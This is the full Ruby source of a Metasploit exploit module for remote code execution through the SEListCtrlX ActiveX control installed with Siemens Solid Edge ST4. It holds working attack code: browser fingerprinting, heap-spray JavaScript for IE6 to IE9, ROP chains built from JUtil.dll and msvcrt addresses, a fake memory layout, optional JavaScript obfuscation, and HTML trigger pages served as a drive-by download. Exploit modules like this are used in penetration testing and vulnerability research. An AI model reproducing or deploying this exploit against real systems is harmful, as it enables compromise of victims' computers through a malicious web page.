SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::RopDb  
include Msf::Exploit::Remote::BrowserAutopwn  
  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "6.0",  
:ua_maxver => "9.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:rank => Rank,  
:classid => "{5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D}"  
})  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution",  
'Description' => %q{  
This module exploits the SEListCtrlX ActiveX installed with the SIEMENS Solid Edge product.  
The vulnerability exists on several APIs provided by the control, where user supplied input  
is handled as a memory pointer without proper validation, allowing an attacker to read and  
corrupt memory from the target process. This module abuses the methods NumChildren() and  
DeleteItem() in order to achieve memory info leak and remote code execution respectively.  
This module has been tested successfully on IE6-IE9 on Windows XP SP3 and Windows 7 SP1,  
using Solid Edge 10.4.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'rgod <rgod[at]autistici.org>', # Vulnerability discovery and PoC  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'OSVDB', '93696' ],  
[ 'EDB', '25712' ],  
[ 'URL', 'http://retrogod.altervista.org/9sg_siemens_adv_ii.htm' ]  
],  
'Payload' =>  
{  
'Space' => 906,  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Jutil.dll 104.0.0.82  
# SEListCtrlX 104.0.0.82  
[ 'Automatic', {} ],  
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],  
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],  
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],  
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],  
[ 'IE 8 on Windows Vista', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ],  
[ 'IE 8 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ],  
[ 'IE 9 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5fe' } ]  
],  
'Privileged' => false,  
'DisclosureDate' => "May 26 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class)  
  
end  
  
def junk  
return rand_text_alpha(4).unpack("V").first  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''  
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''  
  
ie_name = "IE #{ie}"  
  
case nt  
when '5.1'  
os_name = 'Windows XP SP3'  
when '6.0'  
os_name = 'Windows Vista'  
when '6.1'  
os_name = 'Windows 7'  
end  
  
targets.each do |t|  
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))  
print_status("Target selected as: #{t.name}")  
return t  
end  
end  
  
return nil  
end  
  
# JUtil ROP Chain  
# Jutil Base: 0x1d550000  
# Stack Pivot: jutil_base + 0x000a5843 # xchg eax, esp # ret  
# Adjust Stack: jutil_base + 0x00212f17 # pop # pop # ret  
# 0x1db2e121, # POP EDX # RETN [JUtil.dll]  
# 0x1d5520ca, # ptr to &VirtualProtect() [IAT JUtil.dll]  
# 0x1da0ebeb, # MOV EDX,DWORD PTR DS:[EDX] # RETN [JUtil.dll]  
# 0x1da103d2, # MOV ESI,EDX # RETN [JUtil.dll]  
# 0x1d70e314, # POP EBP # RETN [JUtil.dll]  
# 0x1d5fc8e8, # & jmp esp [JUtil.dll]  
# 0x1d631859, # POP EBX # RETN [JUtil.dll]  
# 0x00000201, # 0x00000201-> ebx  
# 0x1d769cf9, # POP EDX # RETN [JUtil.dll]  
# 0x00000040, # 0x00000040-> edx  
# 0x1d6d2e50, # POP ECX # RETN [JUtil.dll]  
# 0x1da45217, # &Writable location [JUtil.dll]  
# 0x1d632fd1, # POP EDI # RETN [JUtil.dll]  
# 0x1d6839db, # RETN (ROP NOP) [JUtil.dll]  
# 0x1d752439, # POP EAX # RETN [JUtil.dll]  
# 0x90909090, # nop  
# 0x1da4cfe3, # PUSHAD # RETN [JUtil.dll]  
def ie9_spray(t, p)  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))  
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(t.arch))  
  
js = %Q|  
  
function rop_chain(jutil_base){  
var arr = [  
Number(Math.floor(Math.random()*0xffffffff)),  
Number(0x0c0c0c0c),  
Number(0x0c0c0c0c),  
Number(0x0c0c0c1c),  
Number(0x0c0c0c24),  
Number(0x0c0c0c28),  
Number(Math.floor(Math.random()*0xffffffff)),  
Number(Math.floor(Math.random()*0xffffffff)),  
Number(0x0c0c0c0c),  
Number(0x0c0c0c3c),  
jutil_base + Number(0x00212f17),  
jutil_base + Number(0x000a5843),  
Number(0x0c0c0c34),  
jutil_base + Number(0x5de121),  
jutil_base + Number(0x20ca),  
jutil_base + Number(0x4bebeb),  
jutil_base + Number(0x4c03d2),  
jutil_base + Number(0x1be314),  
jutil_base + Number(0xac8e8),  
jutil_base + Number(0xe1859),  
Number(0x00000201),  
jutil_base + Number(0x219cf9),  
Number(0x00000040),  
jutil_base + Number(0x182e50),  
jutil_base + Number(0x4f5217),  
jutil_base + Number(0xe2fd1),  
jutil_base + Number(0x1339db),  
jutil_base + Number(0x202439),  
Number(0x90909090),  
jutil_base + Number(0x4fcfe3)  
];  
return arr;  
}  
  
function d2u(dword){  
var uni = String.fromCharCode(dword & 0xFFFF);  
uni += String.fromCharCode(dword>>16);  
return uni;  
}  
  
function tab2uni(tab){  
var uni = ""  
for(var i=0;i<tab.length;i++){  
uni += d2u(tab[i]);  
}  
return uni;  
}  
  
function randomblock(blocksize)  
{  
var theblock = "";  
for (var i = 0; i < blocksize; i++)  
{  
theblock += Math.floor(Math.random()*90)+10;  
}  
return theblock;  
}  
  
function tounescape(block)  
{  
var blocklen = block.length;  
var unescapestr = "";  
for (var i = 0; i < blocklen-1; i=i+4)  
{  
unescapestr += "%u" + block.substring(i,i+4);  
}  
return unescapestr;  
}  
  
var heap_obj = new heapLib.ie(0x10000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_random_nops}");  
  
function heap_spray(jutil_base) {  
while (nops.length < 0x80000) nops += nops;  
var offset_length = #{t['Offset']};  
for (var i=0; i < 0x1000; i++) {  
var padding = unescape(tounescape(randomblock(0x1000)));  
while (padding.length < 0x1000) padding+= padding;  
var junk_offset = padding.substring(0, offset_length);  
var rop = tab2uni(rop_chain(jutil_base));  
var single_sprayblock = junk_offset + rop + code + nops.substring(0, 0x800 - rop.length - code.length - junk_offset.length);  
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;  
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);  
heap_obj.alloc(sprayblock);  
}  
}  
|  
return js  
end  
  
def ie8_spray(t, p)  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch))  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))  
  
js = %Q|  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
  
function rop_chain(jutil_base){  
var arr = [  
Number(Math.floor(Math.random()*0xffffffff)),  
Number(0x0c0c0c0c),  
Number(0x0c0c0c0c),  
Number(0x0c0c0c1c),  
Number(0x0c0c0c24),  
Number(0x0c0c0c28),  
Number(Math.floor(Math.random()*0xffffffff)),  
Number(Math.floor(Math.random()*0xffffffff)),  
Number(0x0c0c0c0c),  
Number(0x0c0c0c3c),  
jutil_base + Number(0x00212f17),  
jutil_base + Number(0x000a5843),  
Number(0x0c0c0c34),  
jutil_base + Number(0x5de121),  
jutil_base + Number(0x20ca),  
jutil_base + Number(0x4bebeb),  
jutil_base + Number(0x4c03d2),  
jutil_base + Number(0x1be314),  
jutil_base + Number(0xac8e8),  
jutil_base + Number(0xe1859),  
Number(0x00000201),  
jutil_base + Number(0x219cf9),  
Number(0x00000040),  
jutil_base + Number(0x182e50),  
jutil_base + Number(0x4f5217),  
jutil_base + Number(0xe2fd1),  
jutil_base + Number(0x1339db),  
jutil_base + Number(0x202439),  
Number(0x90909090),  
jutil_base + Number(0x4fcfe3)  
];  
return arr;  
}  
  
function d2u(dword){  
var uni = String.fromCharCode(dword & 0xFFFF);  
uni += String.fromCharCode(dword>>16);  
return uni;  
}  
  
function tab2uni(tab){  
var uni = ""  
for(var i=0;i<tab.length;i++){  
uni += d2u(tab[i]);  
}  
return uni;  
}  
  
function heap_spray(jutil_base) {  
while (nops.length < 0x80000) nops += nops;  
var offset = nops.substring(0, #{t['Offset']});  
var rop = tab2uni(rop_chain(jutil_base));  
var shellcode = offset + rop + code + nops.substring(0, 0x800-rop.length-code.length-offset.length);  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
heap_obj.gc();  
for (var i=1; i < 0x300; i++) {  
heap_obj.alloc(block);  
}  
}  
|  
return js  
end  
  
def ie6_spray(t, p)  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch))  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))  
  
js = %Q|  
var heap_obj = new heapLib.ie(0x20000);  
var nops = unescape("#{js_nops}");  
var code = unescape("#{js_code}");  
  
function heap_spray() {  
while (nops.length < 0x80000) nops += nops;  
var offset = nops.substring(0, #{t['Offset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
heap_obj.gc();  
for (var i=1; i < 0x300; i++) {  
heap_obj.alloc(block);  
}  
}  
|  
return js  
end  
  
def ie_heap_spray(my_target, p)  
# Land the payload at 0x0c0c0c0c  
case my_target  
when targets[7]  
# IE 9 on Windows 7  
js = ie9_spray(my_target, p)  
when targets[5], targets[6]  
# IE 8 on Windows 7 and Windows Vista  
js = ie8_spray(my_target, p)  
else  
js = ie6_spray(my_target, p)  
end  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
@heap_spray_fn = js.sym("heap_spray")  
else  
@heap_spray_fn = "heap_spray"  
end  
  
return js  
end  
  
def get_windows_xp_payload  
fake_memory = [  
junk, # junk # 0c0c0c0c  
0x0c0c0c0c, # Dereference # 0c0c0c10  
0x0c0c0c0c, # Dereference # 0c0c0c14  
0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18  
0x0c0c0c24, # Dereference # 0c0c0c1c  
0x0c0c0c28, # Dereference # 0c0c0c20  
junk, # junk # 0c0c0c24  
junk, # junk # 0c0c0c28  
0x0c0c0c0c, # Dereference # 0c0c0c2c  
0x0c0c0c30, # Dereference # 0c0c0c30  
0x0c0c0c38, # new eip # 0c0c0c34  
].pack("V*")  
  
p = fake_memory + payload.encoded  
  
return p  
end  
  
def get_windows_msvcrt_payload  
fake_memory = [  
junk, # junk # 0c0c0c0c  
0x0c0c0c0c, # Dereference # 0c0c0c10  
0x0c0c0c0c, # Dereference # 0c0c0c14  
0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18  
0x0c0c0c24, # Dereference # 0c0c0c1c  
0x0c0c0c28, # Dereference # 0c0c0c20  
junk, # junk # 0c0c0c24  
junk, # junk # 0c0c0c28  
0x0c0c0c0c, # Dereference # 0c0c0c2c  
0x0c0c0c3c, # Dereference # 0c0c0c30  
0x77c21ef4, # ppr msvcrt # 0c0c0c34  
0x77c15ed5, # xchg eax,esp # ret (msvcrt)  
0x0c0c0c34 # eax value # 0c0c0c3c  
].pack("V*")  
  
return generate_rop_payload('msvcrt', payload.encoded, {'pivot'=> fake_memory, 'target'=>'xp'})  
end  
  
def get_payload(t)  
  
# Both ROP chains generated by mona.py - See corelan.be  
case t['Rop']  
when :msvcrt  
print_status("Using msvcrt ROP")  
p = get_windows_msvcrt_payload  
when :jutil  
print_status("Using JUtil ROP built dynamically...")  
p = payload.encoded  
else  
print_status("Using payload without ROP...")  
p = get_windows_xp_payload  
end  
  
return p  
end  
  
def info_leak_trigger  
js = <<-EOS  
<object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' />  
</object>  
<script language='javascript'>  
jutil_address = obj.NumChildren(0x10017018 - 0x0c);  
jutil_base = jutil_address - 0x49440;  
#{@heap_spray_fn}(jutil_base);  
obj.DeleteItem(0x0c0c0c08);  
</script>  
EOS  
  
return js  
end  
  
def exec_trigger  
js = <<-EOS  
<object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' />  
</object>  
<script language='javascript'>  
#{@heap_spray_fn}();  
obj.DeleteItem(0x0c0c0c08);  
</script>  
EOS  
  
return js  
end  
  
def get_trigger(t)  
case t['Rop']  
when :jutil  
js = info_leak_trigger  
else  
js = exec_trigger  
end  
  
return js  
end  
  
def load_exploit_html(my_target)  
p = get_payload(my_target)  
js = ie_heap_spray(my_target, p)  
trigger = get_trigger(my_target)  
  
html = %Q|  
<html>  
<head>  
<script language='javascript'>  
#{js}  
</script>  
</head>  
<body>  
#{trigger}  
</body>  
</html>  
|  
  
return html  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
uri = request.uri  
print_status("Requesting: #{uri}")  
  
my_target = get_target(agent)  
# Avoid the attack if no suitable target found  
if my_target.nil?  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
html = load_exploit_html(my_target)  
html = html.gsub(/^\t\t/, '')  
print_status("Sending HTML...")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
end`